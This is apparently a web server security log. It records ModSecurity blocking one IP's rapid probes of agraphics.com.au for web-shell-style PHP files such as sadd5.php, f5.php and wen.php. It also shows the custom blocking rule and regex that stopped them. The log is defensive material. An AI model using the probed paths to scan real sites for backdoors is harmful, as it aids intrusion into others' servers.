[Sun Jan 11 20:43:03.105138 2026] [:error] [pid 5155:tid 5229] [client 4.247.164.63:34594] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-l0gin.php"] [unique_id "aWOa11gEKFpNs0_zLGkelwAAAI0"]
[Sun Jan 11 20:43:03.425435 2026] [:error] [pid 36611:tid 36620] [client 4.247.164.63:44870] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-l0gin.php"] [unique_id "aWOa1z8oZoZHsoTdjhhgEQAAAkc"]
[Sun Jan 11 20:43:03.755581 2026] [:error] [pid 40191:tid 40203] [client 4.247.164.63:34620] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-l0gin.php"] [unique_id "aWOa10m2BH1CV1p0EUHT9AAAAso"]
[Sun Jan 11 20:43:04.410266 2026] [:error] [pid 5155:tid 5218] [client 4.247.164.63:53703] [client 4.247.164.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/id3/admin.php"] [unique_id "aWOa2FgEKFpNs0_zLGkemgAAAII"]
[Sun Jan 11 20:43:04.862993 2026] [:error] [pid 5272:tid 5280] [client 4.247.164.63:44910] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd5.php"] [unique_id "aWOa2Fp55bCsukUvYGZ0qwAAAMY"]
[Sun Jan 11 20:43:05.309691 2026] [:error] [pid 11748:tid 11794] [client 4.247.164.63:43648] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd5.php"] [unique_id "aWOa2QC5xybrWOCNnoYA0QAAAZA"]
[Sun Jan 11 20:43:05.808882 2026] [:error] [pid 11748:tid 11785] [client 4.247.164.63:28705] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd5.php"] [unique_id "aWOa2QC5xybrWOCNnoYA0gAAAYc"]
[Sun Jan 11 20:43:06.305893 2026] [:error] [pid 35730:tid 35742] [client 4.247.164.63:5545] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd5.php"] [unique_id "aWOa2ji7U_mfHtESQHlb5QAAAco"]
[Sun Jan 11 20:43:06.906469 2026] [:error] [pid 35730:tid 35753] [client 4.247.164.63:60003] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "aWOa2ji7U_mfHtESQHlb5wAAAdU"]
[Sun Jan 11 20:43:07.300389 2026] [:error] [pid 35730:tid 35740] [client 4.247.164.63:43694] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "aWOa2zi7U_mfHtESQHlb6gAAAcg"]
[Sun Jan 11 20:43:07.670192 2026] [:error] [pid 35730:tid 35754] [client 4.247.164.63:5561] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "aWOa2zi7U_mfHtESQHlb7QAAAdY"]
[Sun Jan 11 20:43:08.222061 2026] [:error] [pid 11748:tid 11788] [client 4.247.164.63:37607] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "aWOa3AC5xybrWOCNnoYA2AAAAYo"]
[Sun Jan 11 20:43:08.724710 2026] [:error] [pid 11748:tid 11802] [client 4.247.164.63:37577] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd5.php"] [unique_id "aWOa3AC5xybrWOCNnoYA3AAAAZg"]
[Sun Jan 11 20:43:09.174040 2026] [:error] [pid 36611:tid 36623] [client 4.247.164.63:5535] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd5.php"] [unique_id "aWOa3T8oZoZHsoTdjhhgFAAAAko"]
[Sun Jan 11 20:43:09.559678 2026] [:error] [pid 5272:tid 5297] [client 4.247.164.63:53755] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd5.php"] [unique_id "aWOa3Vp55bCsukUvYGZ0tAAAANc"]
[Sun Jan 11 20:43:10.073697 2026] [:error] [pid 5272:tid 5296] [client 4.247.164.63:37590] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd5.php"] [unique_id "aWOa3lp55bCsukUvYGZ0twAAANY"]
[Sun Jan 11 20:43:10.458700 2026] [:error] [pid 5155:tid 5218] [client 4.247.164.63:33230] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file58.php"] [unique_id "aWOa3lgEKFpNs0_zLGkengAAAII"]
[Sun Jan 11 20:43:10.827328 2026] [:error] [pid 40191:tid 40199] [client 4.247.164.63:59973] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file58.php"] [unique_id "aWOa3km2BH1CV1p0EUHT_wAAAsY"]
[Sun Jan 11 20:43:11.211488 2026] [:error] [pid 36611:tid 36624] [client 4.247.164.63:33270] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file58.php"] [unique_id "aWOa3z8oZoZHsoTdjhhgFgAAAks"]
[Sun Jan 11 20:43:11.613055 2026] [:error] [pid 11748:tid 11798] [client 4.247.164.63:5534] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file58.php"] [unique_id "aWOa3wC5xybrWOCNnoYA5wAAAZQ"]
[Sun Jan 11 20:43:11.982558 2026] [:error] [pid 5155:tid 5230] [client 4.247.164.63:43663] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aWOa31gEKFpNs0_zLGkeogAAAI4"]
[Sun Jan 11 20:43:12.642287 2026] [:error] [pid 5272:tid 5282] [client 4.247.164.63:45298] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aWOa4Fp55bCsukUvYGZ0uwAAAMg"]
[Sun Jan 11 20:43:13.140802 2026] [:error] [pid 35730:tid 35740] [client 4.247.164.63:5549] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aWOa4Ti7U_mfHtESQHlb-AAAAcg"]
[Sun Jan 11 20:43:13.513529 2026] [:error] [pid 5155:tid 5238] [client 4.247.164.63:33265] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aWOa4VgEKFpNs0_zLGkepQAAAJY"]
[Sun Jan 11 20:43:13.934678 2026] [:error] [pid 5272:tid 5278] [client 4.247.164.63:36246] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aWOa4Vp55bCsukUvYGZ0vQAAAMQ"]
[Sun Jan 11 20:43:14.441176 2026] [:error] [pid 40191:tid 40215] [client 4.247.164.63:33254] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aWOa4km2BH1CV1p0EUHUBwAAAtY"]
[Sun Jan 11 20:43:15.143009 2026] [:error] [pid 11747:tid 11765] [client 4.247.164.63:35088] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aWOa46RFw84LNpZSk7niIQAAAU4"]
[Sun Jan 11 20:43:15.478507 2026] [:error] [pid 5155:tid 5235] [client 4.247.164.63:34316] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aWOa41gEKFpNs0_zLGkeqQAAAJM"]
[Sun Jan 11 20:43:15.872107 2026] [:error] [pid 40191:tid 40193] [client 4.247.164.63:33271] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aWOa40m2BH1CV1p0EUHUCgAAAsA"]
[Sun Jan 11 20:43:16.271211 2026] [:error] [pid 5155:tid 5223] [client 4.247.164.63:34879] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aWOa5FgEKFpNs0_zLGkerQAAAIc"]
[Sun Jan 11 20:43:16.720188 2026] [:error] [pid 5272:tid 5277] [client 4.247.164.63:34354] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aWOa5Fp55bCsukUvYGZ0wAAAAMM"]
[Sun Jan 11 20:43:17.153195 2026] [:error] [pid 5153:tid 5200] [client 4.247.164.63:44495] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aWOa5c1QbNSPD9bRi77JpwAAAEs"]
[Sun Jan 11 20:43:17.532913 2026] [:error] [pid 40191:tid 40210] [client 4.247.164.63:35645] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aWOa5Um2BH1CV1p0EUHUDQAAAtE"]
[Sun Jan 11 20:43:17.862215 2026] [:error] [pid 40191:tid 40206] [client 4.247.164.63:41446] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aWOa5Um2BH1CV1p0EUHUEAAAAs0"]
[Sun Jan 11 20:43:18.283314 2026] [:error] [pid 35730:tid 35734] [client 4.247.164.63:5495] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aWOa5ji7U_mfHtESQHlb-wAAAcI"]
[Sun Jan 11 20:43:18.675871 2026] [:error] [pid 5153:tid 5199] [client 4.247.164.63:44032] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aWOa5s1QbNSPD9bRi77JqQAAAEo"]
[Sun Jan 11 20:43:19.102234 2026] [:error] [pid 36611:tid 36626] [client 4.247.164.63:31958] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f8.php"] [unique_id "aWOa5z8oZoZHsoTdjhhgIgAAAk0"]
[Sun Jan 11 20:43:19.526163 2026] [:error] [pid 36611:tid 36636] [client 4.247.164.63:44085] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f8.php"] [unique_id "aWOa5z8oZoZHsoTdjhhgJAAAAlc"]
[Sun Jan 11 20:43:19.910958 2026] [:error] [pid 36611:tid 36637] [client 4.247.164.63:41413] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f8.php"] [unique_id "aWOa5z8oZoZHsoTdjhhgJgAAAlg"]
[Sun Jan 11 20:43:20.306609 2026] [:error] [pid 40191:tid 40197] [client 4.247.164.63:5848] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f8.php"] [unique_id "aWOa6Em2BH1CV1p0EUHUFAAAAsQ"]
[Sun Jan 11 20:43:20.728654 2026] [:error] [pid 5272:tid 5289] [client 4.247.164.63:34821] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower2.php"] [unique_id "aWOa6Fp55bCsukUvYGZ0zwAAAM8"]
[Sun Jan 11 20:43:21.318482 2026] [:error] [pid 11748:tid 11784] [client 4.247.164.63:5467] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower2.php"] [unique_id "aWOa6QC5xybrWOCNnoYA7QAAAYY"]
[Sun Jan 11 20:43:21.770584 2026] [:error] [pid 5272:tid 5277] [client 4.247.164.63:42077] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower2.php"] [unique_id "aWOa6Vp55bCsukUvYGZ01AAAAMM"]
[Sun Jan 11 20:43:22.147531 2026] [:error] [pid 5272:tid 5275] [client 4.247.164.63:41433] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower2.php"] [unique_id "aWOa6lp55bCsukUvYGZ01gAAAME"]
[Sun Jan 11 20:43:22.592730 2026] [:error] [pid 5155:tid 5222] [client 4.247.164.63:34844] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aWOa6lgEKFpNs0_zLGkesgAAAIY"]
[Sun Jan 11 20:43:23.051618 2026] [:error] [pid 5272:tid 5279] [client 4.247.164.63:31986] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aWOa61p55bCsukUvYGZ02gAAAMU"]
[Sun Jan 11 20:43:23.503835 2026] [:error] [pid 40191:tid 40201] [client 4.247.164.63:42110] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aWOa60m2BH1CV1p0EUHUGgAAAsg"]
[Sun Jan 11 20:43:23.981353 2026] [:error] [pid 5155:tid 5232] [client 4.247.164.63:31984] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aWOa61gEKFpNs0_zLGketAAAAJA"]
[Sun Jan 11 20:43:24.564766 2026] [:error] [pid 40191:tid 40211] [client 4.247.164.63:29249] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aWOa7Em2BH1CV1p0EUHUJQAAAtI"]
[Sun Jan 11 20:43:25.074404 2026] [:error] [pid 11748:tid 11787] [client 4.247.164.63:42105] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aWOa7QC5xybrWOCNnoYA8QAAAYk"]
[Sun Jan 11 20:43:25.449766 2026] [:error] [pid 11748:tid 11792] [client 4.247.164.63:38425] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aWOa7QC5xybrWOCNnoYA9AAAAY4"]
[Sun Jan 11 20:43:25.844295 2026] [:error] [pid 40191:tid 40209] [client 4.247.164.63:5444] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aWOa7Um2BH1CV1p0EUHUKQAAAtA"]
[Sun Jan 11 20:43:26.161928 2026] [:error] [pid 11748:tid 11782] [client 4.247.164.63:45264] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aWOa7gC5xybrWOCNnoYA-AAAAYQ"]
[Sun Jan 11 20:43:26.598762 2026] [:error] [pid 40191:tid 40199] [client 4.247.164.63:63528] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aWOa7km2BH1CV1p0EUHUKwAAAsY"]
[Sun Jan 11 20:43:27.091493 2026] [:error] [pid 5155:tid 5236] [client 4.247.164.63:32511] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aWOa71gEKFpNs0_zLGkeuQAAAJQ"]
[Sun Jan 11 20:43:27.420623 2026] [:error] [pid 5153:tid 5208] [client 4.247.164.63:31955] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aWOa781QbNSPD9bRi77JsgAAAFM"]
